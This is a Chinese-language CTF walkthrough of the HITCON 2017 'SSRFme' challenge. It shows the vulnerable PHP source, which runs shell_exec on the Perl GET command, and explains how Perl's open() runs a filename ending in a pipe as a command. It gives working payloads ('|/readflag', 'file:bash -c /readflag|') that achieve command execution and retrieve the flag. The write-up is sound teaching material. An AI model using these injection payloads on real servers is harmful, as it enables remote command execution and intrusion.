首页 > 其他分享 >WEB|[HITCON 2017]SSRFme

WEB|[HITCON 2017]SSRFme

时间:2023-05-06 14:55:12浏览次数:50  
标签:WEB SSRFme GET url filename 命令 readflag 123 2017

源码

110.244.80.206 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }# 获取客户端ip地址

    echo $_SERVER["REMOTE_ADDR"];

# 创建sandbox/md5("orange+ip")文件夹并切换
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); # shell_exec()执行命令,url可控
    $info = pathinfo($_GET["filename"]); # 将以数组的形式返回文件路径的信息
    $dir  = str_replace(".", "", basename($info["dirname"])); # 路径中的文件名部分替换.为空
    # 创建文件夹并切换
    @mkdir($dir);
    @chdir($dir);
    # 将shell_exec()执行命令的内容写入文件中
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

GET命令

└─# GET -h         
Usage: GET [-options] <url>...
    -m <method>   use method for the request (default is 'GET')
    -f            make request even if GET believes method is illegal
    -b <base>     Use the specified URL as base
    -t <timeout>  Set timeout value
    -i <time>     Set the If-Modified-Since header on the request
    -c <conttype> use this content-type for POST, PUT, CHECKIN
    -a            Use text mode for content I/O
    -p <proxyurl> use this as a proxy
    -P            don't load proxy settings from environment
    -H <header>   send this HTTP header (you can specify several)
    -C <username>:<password>
                  provide credentials for basic authentication

    -u            Display method and URL before any response
    -U            Display request headers (implies -u)
    -s            Display response status code
    -S            Display response status chain (implies -u)
    -e            Display response headers (implies -s)
    -E            Display whole chain of headers (implies -S and -U)
    -d            Do not display content
    -o <format>   Process HTML content in various ways

    -v            Show program version
    -h            Print this message

GET命令可以读取目录和文件内容并返回

payload

?url=/&filename=123

利用GET命令读取根目录内容并写入到123文件中

  • url=/:GET /
  • filename=123:这里只有文件名没有目录,所以当前文件夹为sandbox/md5("orange+ip")

构造url发送请求

访问目录

http://6627f504-5fd7-49ba-b3c3-c2f940d010f4.node4.buuoj.cn:81/sandbox/2eeed2f9aeae6311b507ada8fb98809e/123


可以看到根目录中有flag文件,读取flag文件,但是并没有内容

?url=/flag&filename=123


再看根目录内容还有一个readflag,按ctf常规套路readflag应该是一个可执行文件,需要执行readflag才能读取到flag

perl语言GET open命令漏洞

GET是Lib for WWW in Perl中的命令,目的是模拟http的GET请求,GET函数底层就是调用了open处理,open存在命令执行,并且还支持file函数。要执行的命令先前必须要有以命令为文件名的文件存在。
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。

payload1

创建以命令为文件名的文件

?url=&filename=|/readflag

执行命令

?url=file:|/readflag&filename=123

访问页面得到flag

flag{6dd67321-ce5e-4254-a00a-f8a27578c75c}

payload2

# 创建以命令为文件名的文件
/?url=file:bash -c /readflag|&filename=bash -c /readflag|

# 执行命令
/?url=file:bash -c /readflag|&filename=123

参考文章:
GET的命令执行漏洞

标签:WEB,SSRFme,GET,url,filename,命令,readflag,123,2017
From: https://www.cnblogs.com/scarecr0w7/p/17377312.html

相关文章

  • WEB|[De1CTF 2019]SSRF Me
    页面代码为python代码,题目提示为SSRF,并且flagisin./flag.txt格式化代码#!/usr/bin/envpython##encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsysimportosimportjsonreload(sys)sys.se......
  • 一统天下 flutter - 存储: shared_preferences - 用于操作 android 的 SharedPreferen
    源码https://github.com/webabcd/flutter_demo作者webabcd一统天下flutter-存储:shared_preferences-用于操作android的SharedPreferences,ios的NSUserDefaults,web的LocalStorage示例如下:lib\storage\shared_preferences.dart/**shared_preferences......
  • django的web项目中重定向页面时的部分信息传输——以删除含有分页的列表记录为例
    问题:在管理系统界面往往是有分页的,初次编写列表的删除功能时很可能会出现删完之后页面跳转到第一页的问题,或者筛选完之后删除某一项结果删完之后跳转到未筛选页面。与实际分页管理的效果大庭相径。解决思路:1.起初只遇到了分页的情况,解决方法很简单,在删除按钮的href中直接传值,例......
  • Web|Buuctf-[NPUCTF2020]ezinclude
    查看源码提示md5($secret.$name)===$passcookie中存在hash,hash随着name的变化而变化hash填入pass参数请求跳转到404页面使用burpsuite发包,提示存在flflflflag.php页面flag不在此页面,并且页面存在文件包含漏洞读取flflflflag.php页面源码<html><head><scriptlangua......
  • Web|Buuctf [NCTF2019]SQLi
    直接给出了查询语句select*fromuserswhereusername=''andpasswd=''构造语句查询,发现有过滤fuzz一下,很多参数都被过滤robots协议下发现hint.txt文件hint.txt文件,有被过滤的参数,但是没有过滤"、|和\,并且提示只要密码与admin的密码相同就可以获得flag解题思路无......
  • SpringWeb Flux入门
    新建项目,加入依赖:<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-webflux</artifactId></dependency><dependency><groupId>org.springframew......
  • Web|[SWPUCTF 2018]SimplePHP
    访问是一个文件上传页面,点击查看文件页面可以发现特殊的链接,应该存在文件包含http://dfef288e-1b73-48e0-9458-a4e733c40c38.node4.buuoj.cn:81/file.php?file=查看源码发现一些文件,页面内容提示flag在f1ag.php中index.phpfile.phpupload_file.phpf1ag.php直接包含f1a......
  • web------JSF ----2
    JSF简介一、 什么是JSF:JavaServerFaces(JSF)是一种用于构建Web应用程序的新标准Java框架。它提供了一种以组件为中心来开发JavaWeb用户界面的方法,从而简化了开发。JavaServerFaces于2004年三月1.0版正式提出,清楚的将Web应用程序的开发者划分......
  • Could not create ActionMapper: WebWork will *not* work!
    CouldnotcreateActionMapper:WebWorkwill*not*work!解决方法:将webwork.properties的webwork.objectFactory=springwebwork.objectFactory.spring.autoWire=name 两行去掉就可以了......
  • web视图层进化史
    经过多年的发展,视图层经历了四个阶段,一个java中写html阶段(前端语言和后端语言写在一文件里面,类如servlet)一个html中写java阶段(例如jsp)一个html中标签化java阶段(例如thymleaf模板引擎)html和java单独部署阶段,之间使用json格式传输数据,这种方式目前是主流方式(例如前端vue,后端springb......